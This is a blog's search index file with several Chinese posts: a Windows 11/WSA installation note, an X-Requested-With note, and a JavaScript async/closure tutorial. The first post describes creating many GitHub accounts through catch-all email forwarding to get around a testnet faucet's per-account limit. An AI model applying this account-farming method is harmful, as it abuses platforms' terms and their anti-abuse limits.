-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
1261 lines (1178 loc) · 180 KB
/
Copy pathsearch.xml
File metadata and controls
1261 lines (1178 loc) · 180 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>邮箱验证类注册账户</title>
<url>/2021/11/28/Register-accounts-by-email-in-batches/</url>
<content><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p> 以太坊Kovan测试网的<a href="https://gitter.im/kovan-testnet/faucet" target="_blank" rel="noopener">水龙头</a>每天每个账户只能领取0<strong>.</strong>001 ETH(少得可怜!)。由于gitter只能用twitter、gitlab以及GitHub账户进行登录,为了学(hao)知(yang)识(mao),于是想着怎么去大量注册一堆GitHub或者gitlab账户,然后每天通过这些账户去请求Kovan测试币。</p>
<p> 大致思路是:获取大量账户=》利用这些账户去登录gitter=》然后利用api发送信息到gitter频道获取测试币。</p>
<h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><h2 id="获取大量邮箱"><a href="#获取大量邮箱" class="headerlink" title="获取大量邮箱"></a>获取大量邮箱</h2><p> <a href="https://github.com/xjjdog/crazy-email-recv-srv" target="_blank" rel="noopener">模拟邮件服务器,批量注册利器</a> 这个仓库用python实现一个邮箱服务器,最开始的想法就是利用这个方式来获取。</p>
<p> 实现的批量注册逻辑大概如下:</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/15338909254129.jpg" alt></p>
<p> 于是跑到了狗爹上去看了看,鬼使神差的就买了一年的虚拟主机(花了360大洋)。</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128144121418.png" alt="image-20211128144121418"></p>
<p> 购买之后,遇见了第一个问题,点击虚拟主机的管理选项时出现如下情况:</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128144435303.png" alt="image-20211128144435303"></p>
<p> 然后换了QQ浏览器,又出现了另一个问题,登录cPanel的时候提示存在非法内容:</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128144701839.png" alt="image-20211128144701839"></p>
<p> 最后用火狐浏览器终于登上了(狗爹这波真的是):</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128145125123.png" alt="image-20211128145125123"></p>
<p> 满心欢喜的XFTP、XSHELL链接后,发现我根本没有root权限,想安装个python都不能在/usr/local里面创建目录,甚至su sudo命令都没了(狗爹你赢了,系统还是Red Hat 4.4.7-23):</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128150845028.png" alt="image-20211128150845028"></p>
<p> 于是乎,邮箱服务器的计划就这样破灭了。为了不让这360白花了,我还是去看了看服务器的控制台。</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128151640104.png" alt="image-20211128151640104"></p>
<p> 发现一个这个东西:</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128151716096.png" alt="image-20211128151716096"></p>
<p> 这个可以将邮件转发到指定的地址,这不也是先之前那个仓库的效果(真是柳暗花明又一村啊!):</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128151736890.png" alt="image-20211128151736890"></p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128151810735.png" alt="image-20211128151810735"></p>
<h2 id="注册Github账户"><a href="#注册Github账户" class="headerlink" title="注册Github账户"></a>注册Github账户</h2><p> 由于注册只需要接受邮件即可,那么我们可以输入任意的前缀然后转发到指定邮箱就可以获取验证码,然后理论上就有了无限的邮箱可以用来注册使用了~</p>
<p> 于是用GitHub试了试,成功收到了验证码并完成了注册:</p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128152303983.png" alt="image-20211128152303983"></p>
<p><img src="/2021/11/28/Register-accounts-by-email-in-batches/image-20211128152404918.png" alt="image-20211128152404918"></p>
<p> </p>
<p> 自动化注册脚本暂时还没有实现,看后面能不能找到实现方法,现在这样还是有点麻烦。</p>
<h2 id="使用GitHub账户自动登录gitter"><a href="#使用GitHub账户自动登录gitter" class="headerlink" title="使用GitHub账户自动登录gitter"></a>使用GitHub账户自动登录gitter</h2>]]></content>
<categories>
<category>杂七杂八</category>
</categories>
<tags>
<tag>email</tag>
<tag>服务器</tag>
<tag>邮箱注册</tag>
</tags>
</entry>
<entry>
<title>技嘉B365 Power安装win11及安卓子系统(WSA)</title>
<url>/2021/10/24/win11-and-wsa-install/</url>
<content><![CDATA[<h1 id="技嘉B365-Power安装win11及安卓子系统-WSA"><a href="#技嘉B365-Power安装win11及安卓子系统-WSA" class="headerlink" title="技嘉B365 Power安装win11及安卓子系统(WSA)"></a>技嘉B365 Power安装win11及安卓子系统(WSA)</h1><h2 id="一、前言"><a href="#一、前言" class="headerlink" title="一、前言"></a>一、前言</h2><p> win11预览版很早就出,相信很多人都已经上手体验了~</p>
<p> 笔者的电脑是技嘉B365 Power,I5-9400F~理论上应该能够满足win11的安装要求,但是由于一些奇奇怪怪的问题导致前段时间我只能绕过检查安装了win11。但是这周同事告诉我,win11的安卓子系统已经可以强行绕过检查进行安装了。喜欢折腾的我当然耐不住性子想着去试试,但是由于之前安装是绕过了检测,导致我无法获取预览版本,也就无法进行安装。</p>
<p> 本文便是简单记录遇到的问题和解决的方式。</p>
<h2 id="二、问题"><a href="#二、问题" class="headerlink" title="二、问题"></a>二、问题</h2><p> 问题1:</p>
<p> 从<a href="https://www.bilibili.com/read/cv13674214" target="_blank" rel="noopener">Windows11安装安卓子系统步骤(WSA)</a>这篇文章得知需要更改更新渠道为beta渠道。但是因为我之前安装win11没有完全通过检测,所以这里会提示不满足条件。</p>
<p><img src="/2021/10/24/win11-and-wsa-install/1..png" alt="1."></p>
<p>使用官方工具进行检测发现,没有开启安全启动。</p>
<p><img src="/2021/10/24/win11-and-wsa-install/Snipaste_2021-10-23_13-51-52.png" alt="Snipaste_2021-10-23_13-51-52"></p>
<p> 问题2:</p>
<p> 技嘉的BIOS默认是开启了CSM支持的,想要开启安全启动,必须要关闭CSM支持,而关闭了CSM支持之后,之前安装的系统就无法识别了。</p>
<p><img src="/2021/10/24/win11-and-wsa-install/b01c8544ebf81a4ce46a1ab1c02a6059252da61a.jpg" alt="img"></p>
<h2 id="三、解决"><a href="#三、解决" class="headerlink" title="三、解决"></a>三、解决</h2><p> 起初通过搜索,发现网上很少这方面的资料,都是让你开启CSM之类的。</p>
<p> 后来在贴吧的一个帖子里面看到有和我相同遭遇的人,说的更改系统盘格式之后修复引导后就可以正常开机了。</p>
<p><img src="/2021/10/24/win11-and-wsa-install/image-20211024105441464.png" alt="image-20211024105441464"></p>
<p> 但是我使用微PE尝试了之后失败了,修复引导失败了,导致我后来重新安装了系统。(后来才发现是我自己的问题,我没有选对盘QAQ)</p>
<p> 理论上应该直接进PE把系统盘更改为GPT格式,然后修复引导就可以了。</p>
<h2 id="四、后记"><a href="#四、后记" class="headerlink" title="四、后记"></a>四、后记</h2><p> 最后当然是通过了官方认证咯~</p>
<p><img src="/2021/10/24/win11-and-wsa-install/2.png" alt="2"></p>
<p> 然后成功开启了预览体验计划~</p>
<p><img src="/2021/10/24/win11-and-wsa-install/3.png" alt="3"></p>
<p> 通过上面B站的那个教程,成功开启安装了WSA~</p>
<p><img src="/2021/10/24/win11-and-wsa-install/5.png" alt="5"></p>
<p><img src="/2021/10/24/win11-and-wsa-install/image-20211024110254437.png" alt="image-20211024110254437"></p>
]]></content>
<categories>
<category>win11</category>
</categories>
<tags>
<tag>windows</tag>
</tags>
</entry>
<entry>
<title>乱七八糟</title>
<url>/2020/08/27/mess/</url>
<content><![CDATA[<h1 id="X-Requested-With"><a href="#X-Requested-With" class="headerlink" title="X-Requested-With"></a>X-Requested-With</h1><p>作用:</p>
<p> 在服务器端判断request来自Ajax请求(异步)还是传统请求(同步)。</p>
<p>参考:</p>
<p><a href="https://yuedu.baidu.com/ebook/478d1a62376baf1ffc4fad99" target="_blank" rel="noopener">HTTP/2.0中文翻译</a></p>
<p><a href="https://blog.csdn.net/javajiawei/article/details/50563154" target="_blank" rel="noopener">HTTP之X-Requested-With分析和思考</a></p>
<p>有 X-Requested-With: XMLHttpRequest:</p>
<p><img src="/2020/08/27/mess/img1.png" alt="image-20200827154323749"></p>
<p>没有 X-Requested-With: XMLHttpRequest:</p>
<p><img src="/2020/08/27/mess/img2.png" alt="image-20200827154337346"></p>
]]></content>
<tags>
<tag>随便记记</tag>
</tags>
</entry>
<entry>
<title>JavaScript同步、异步、回调</title>
<url>/2020/07/30/js-Synchronous-Asynchronous/</url>
<content><![CDATA[<p> 今天在对之前写的插件进行更新的时候遇到了js回调函数异步执行的问题,自己尝试了很久,最后百度一下才得到了解决,写下这篇文章是为了简单的总结下吧。</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> details = <span class="built_in">document</span>.getElementsByClassName(<span class="string">'tx_detail'</span>)</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> y=<span class="number">1</span>;y<details.length;y++){</span><br><span class="line"> <span class="keyword">var</span> items = details[y].getElementsByClassName(<span class="string">'item'</span>)</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> x=<span class="number">0</span>;x<items.length;x++){</span><br><span class="line"> <span class="keyword">var</span> a = details[y].getElementsByTagName(<span class="string">'a'</span>);</span><br><span class="line"> <span class="keyword">if</span>(a.length==<span class="number">0</span>){</span><br><span class="line"> a = details[y].getElementsByTagName(<span class="string">'span'</span>)</span><br><span class="line"> }</span><br><span class="line"> localforage.getItem(a[x].innerText.toLowerCase(),<span class="function"><span class="keyword">function</span>(<span class="params">err,value</span>)</span>{</span><br><span class="line"> <span class="keyword">if</span>(value!=<span class="literal">null</span>){</span><br><span class="line"> a[x].innerText = <span class="string">'L:'</span>+value;</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 在使用localforage读取数据的时候,getItem有个回调函数读取结果传到回调函数中的value参数中,在函数函数体中进行value的处理,实际测试中发现,赋值语句a[x].innerText = ‘L:’+value总是对a中最后一个元素进行赋值。</p>
<p> 之前遇到的没有循环嵌套的情况,我的处理方式是增加一个tmp变量,在localforage的回调函数的最后将tmp自增,如下代码所示:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">addTag</span>(<span class="params">ethTag</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> tmp = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> x =<span class="number">0</span>;x<ethTag.length;x++){</span><br><span class="line"> localforage.getItem(ethTag[x].innerText.toLowerCase()).then(<span class="function"><span class="keyword">function</span>(<span class="params">value</span>)</span>{</span><br><span class="line"> <span class="keyword">if</span>(value!=<span class="literal">null</span>){</span><br><span class="line"> ethTag[tmp].innerText = <span class="string">'L:'</span>+value;</span><br><span class="line"> }</span><br><span class="line"> tmp = tmp + <span class="number">1</span></span><br><span class="line"> }).catch(<span class="function"><span class="keyword">function</span>(<span class="params">err</span>) </span>{</span><br><span class="line"> <span class="comment">// 当出错时,此处代码运行</span></span><br><span class="line"> <span class="built_in">console</span>.log(err);</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 对于循环嵌套的代码,处理如下:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> details = <span class="built_in">document</span>.getElementsByClassName(<span class="string">'tx_detail'</span>)</span><br><span class="line"><span class="keyword">var</span> temp1 = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> y=<span class="number">1</span>;y<details.length;y++){</span><br><span class="line"> <span class="keyword">var</span> items = details[y].getElementsByClassName(<span class="string">'item'</span>)</span><br><span class="line"> <span class="keyword">var</span> temp2 = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">var</span> x=<span class="number">0</span>;x<items.length;x++){</span><br><span class="line"> <span class="keyword">var</span> a = details[y].getElementsByTagName(<span class="string">'a'</span>);</span><br><span class="line"> <span class="keyword">if</span>(a.length==<span class="number">0</span>){</span><br><span class="line"> a = details[y].getElementsByTagName(<span class="string">'span'</span>)</span><br><span class="line"> }</span><br><span class="line"> localforage.getItem(a[x].innerText.toLowerCase()).then(<span class="function"><span class="keyword">function</span>(<span class="params">value</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> temp</span><br><span class="line"> <span class="keyword">if</span>(details[temp1].getElementsByTagName(<span class="string">'a'</span>)!=<span class="literal">null</span>){</span><br><span class="line"> temp = details[temp1].getElementsByTagName(<span class="string">'a'</span>)</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> temp = details[temp1].getElementsByTagName(<span class="string">'span'</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(value!=<span class="literal">null</span>){</span><br><span class="line"> temp[temp2].innerText = <span class="string">'L:'</span>+value;</span><br><span class="line"> } <span class="built_in">console</span>.log(temp1,temp2,value,details[temp1].getElementsByClassName(<span class="string">'item'</span>).length)</span><br><span class="line"> temp2=temp2+<span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span>(temp2==details[temp1].getElementsByClassName(<span class="string">'item'</span>).length){</span><br><span class="line"> temp1 = temp1 + <span class="number">1</span></span><br><span class="line"> temp2= <span class="number">0</span></span><br><span class="line"> }</span><br><span class="line"> }).catch(<span class="function"><span class="keyword">function</span>(<span class="params">err</span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(err);</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 实际上这样的处理方式不仅使得代码变得臃肿,而且处理效率也很低。</p>
<hr>
<p> 在CSDN上看到一篇文章:<a href="https://blog.csdn.net/u010297791/article/details/71158212" target="_blank" rel="noopener">JavaScript同步、异步、回调执行顺序分析</a>,本文后面部分正是基于这篇文章所总结的。</p>
<p> 文章中作者提到一个口令的:</p>
<blockquote>
<p>同步优先、异步靠边、回调垫底</p>
</blockquote>
<p> 对于以下代码:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="number">5</span>; i++) {</span><br><span class="line"> setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(i);</span><br><span class="line"> }, <span class="number">1000</span>);</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"><span class="built_in">console</span>.log(i);</span><br></pre></td></tr></table></figure>
<p> 没有接触js之前,我一直都以为输出的结果会是:0 1 2 3 4 5</p>
<p> 而实际上,输出结果为:5 5 5 5 5 5 </p>
<p> 正如上面那篇文章中的作者所描述的一样,for循环和最后的那个console是同步执行的,所以for循环执行完毕之后在执行最后的console语句。</p>
<p> setTimeout的回调函数因为是垫底,所以会是最后执行。而事实上也是如此,执行最后那个console语句的时候,回调函数一次都没有执行,如下图所示:</p>
<p><img src="/2020/07/30/js-Synchronous-Asynchronous/img1.gif" alt="最终效果"></p>
<p> 上图中可以看到,首先会输出一个5,过了一会后,几乎是同时输出了另外的5个5。</p>
<blockquote>
<p> JavaScript同步的代码是在堆栈中顺序执行的,而setTimeout回调会先放到消息队列,for循环每执行一次,就会放一个setTimeout到消息队列排队等候,当同步的代码执行完了,再去调用消息队列的回调方法。</p>
<p> 在这个经典例子中,也就是说,先执行for循环,按顺序放了5个setTimeout回调到消息队列,然后for循环结束,下面还有一个同步的console,执行完console之后,堆栈中已经没有同步的代码了,就去消息队列找,发现找到了5个setTimeout。</p>
</blockquote>
<p> 作者提到了两种方式达到输出0 1 2 3 4 5的效果:</p>
<p> 一是使用let:</p>
<blockquote>
<p>使用 let 语句声明一个变量,该变量的范围限于声明它的块中。 可以在声明变量时为变量赋值,也可以稍后在脚本中给变量赋值。 </p>
<p>let是ES6语法,ES5中的变量作用域是函数,而let语法的作用域是当前块,在这里就是for循环体。在这里,let本质上就是形成了一个闭包。</p>
</blockquote>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i = <span class="number">0</span>; i < <span class="number">5</span>; ++i) {</span><br><span class="line"> setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(i);</span><br><span class="line"> }, <span class="number">1000</span>);</span><br><span class="line">}</span><br><span class="line"><span class="built_in">console</span>.log(i)</span><br></pre></td></tr></table></figure>
<p>使用let与下面这种是一样的意思:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> loop = <span class="function"><span class="keyword">function</span> (<span class="params">_i</span>) </span>{</span><br><span class="line"> setTimeout(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'2:'</span>, _i);</span><br><span class="line"> }, <span class="number">1000</span>);</span><br><span class="line">};</span><br><span class="line"> </span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> _i = <span class="number">0</span>; _i < <span class="number">5</span>; _i++) {</span><br><span class="line"> loop(_i);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img src="/2020/07/30/js-Synchronous-Asynchronous/img2.gif" alt="img2"></p>
<p> 报错的原因是最后那个console所输出的i在整段代码中未定义,let声明的变量旨在所在代码块{}有效。</p>
<p>二是使用闭包的方式:</p>
<blockquote>
<p>阮一峰的讲解</p>
<p>闭包的概念:</p>
<p> 闭包就是能够读取其他函数内部变量的函数。</p>
<p> 由于在Javascript语言中,只有函数内部的子函数才能读取局部变量,因此可以把闭包简单理解成”定义在一个函数内部的函数”。</p>
<p> 所以,在本质上,闭包就是将函数内部和函数外部连接起来的一座桥梁。</p>
<p> 闭包可以用在许多地方。它的最大用处有两个,一个是前面提到的可以读取函数内部的变量,另一个就是让这些变量的值始终保持在内存中。</p>
<p> 关于闭包:<a href="https://www.ruanyifeng.com/blog/2009/08/learning_javascript_closures.html" target="_blank" rel="noopener">学习Javascript闭包(Closure)</a></p>
</blockquote>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">1</span>; i <=<span class="number">20</span>; i++){</span><br><span class="line"> (<span class="function"><span class="keyword">function</span> (<span class="params">i</span>) </span>{</span><br><span class="line"> setTimeout(<span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(i);</span><br><span class="line"> }, i*<span class="number">1000</span>)</span><br><span class="line"> })(i);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img src="/2020/07/30/js-Synchronous-Asynchronous/img3.gif" alt="img3"></p>
<p> 闭包方式是将i作为函数的参数传入函数内部,作用域是整个函数中,故外部i的变化不影响已经传入函数的i。</p>
<p> 循环展开效果如下所示:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> count = <span class="number">0</span>;</span><br><span class="line"> setTimeout( <span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(count);</span><br><span class="line"> }, count * <span class="number">1000</span> );</span><br><span class="line">})()</span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> count = <span class="number">1</span>;</span><br><span class="line"> setTimeout( <span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(count);</span><br><span class="line"> }, count * <span class="number">1000</span> );</span><br><span class="line">})()</span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> count = <span class="number">2</span>;</span><br><span class="line"> setTimeout( <span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(count);</span><br><span class="line"> }, count * <span class="number">1000</span> );</span><br><span class="line">})()</span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> count = <span class="number">3</span>;</span><br><span class="line"> setTimeout( <span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(count);</span><br><span class="line"> }, count * <span class="number">1000</span> );</span><br><span class="line">})()</span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> count = <span class="number">4</span>;</span><br><span class="line"> setTimeout( <span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(count);</span><br><span class="line"> }, count * <span class="number">1000</span> );</span><br><span class="line">})()</span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> count = <span class="number">5</span>;</span><br><span class="line"> setTimeout( <span class="function"><span class="keyword">function</span> <span class="title">timer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(count);</span><br><span class="line"> }, count * <span class="number">1000</span> );</span><br><span class="line">})()</span><br></pre></td></tr></table></figure>
<hr>
<p> 问题到上面就已经得到了解决,下面主要是记录下对于异步、同步、setTimeout、Promise以及async的学习。</p>
<p> 通过分析代码来对执行顺序进行学习:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">async1</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'async1 start'</span>)</span><br><span class="line"> <span class="keyword">await</span> async2()</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'async1 end'</span>)</span><br><span class="line">}</span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">async2</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'async2'</span>)</span><br><span class="line">}</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'script start'</span>)</span><br><span class="line">setTimeout(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'setTimeout'</span>)</span><br><span class="line">},<span class="number">0</span>)</span><br><span class="line">async1()</span><br><span class="line"><span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function">(<span class="params">resolve</span>) =></span> {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'promise1'</span>)</span><br><span class="line"> resolve()</span><br><span class="line">}).then(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'promise2'</span>)</span><br><span class="line">})</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'script end'</span>)</span><br></pre></td></tr></table></figure>
<p> 在chrome中的执行结果是这样的:</p>
<p><img src="/2020/07/30/js-Synchronous-Asynchronous/img4.png" alt="image-20200731163631941"></p>
<p> 前面几行定义了两个async函数:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">async1</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'async1 start'</span>)</span><br><span class="line"> <span class="keyword">await</span> async2()</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'async1 end'</span>)</span><br><span class="line">}</span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">async2</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'async2'</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p> 然后是:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="built_in">console</span>.log(<span class="string">'script start'</span>)</span><br></pre></td></tr></table></figure>
<p> 在控制台中首先输出了 script start。</p>
<p> 接着代码继续向下执行,遇到setTimeout,因为回调函数垫底执行,其回调函数被放入任务队列中,等待同步执行完毕后在进行执行。</p>
<p> 执行async1函数:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">async1()</span><br></pre></td></tr></table></figure>
<p> 由于async1函数有async标记,当调用async函数的时候会返回一个Promise对象,Promise对象是立即执行的,然后输出async1 start。</p>
<p> 而后到了await async2(),在async里遇到await它会使async函数暂停执行,执行完async里的await内容后将后续的内容扔入到浏览器的任务队列里面去。所以控制台会先输出async2,然后再回到async1中,将async1没有执行的部分扔到了任务队列里面去。(现在任务队列里面有一个setTimeout和一个async1的后续内容)。</p>
<p> 然后是Promise:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">new Promise((resolve) => {</span><br><span class="line"> console.log('promise1')</span><br><span class="line"> resolve()</span><br><span class="line">}).then(() => {</span><br><span class="line"> console.log('promise2')</span><br><span class="line">})</span><br><span class="line">console.log('script end')</span><br></pre></td></tr></table></figure>
<p> Promise是立即执行的,输出promise1,然后执行resolve:</p>
<blockquote>
<p><strong>resolve函数的作用是</strong>,将Promise对象的状态从“未完成”变为“成功”(即从 pending 变为resolved),在异步操作成功时调用,并将异步操作的结果,作为参数传递出去。</p>
</blockquote>
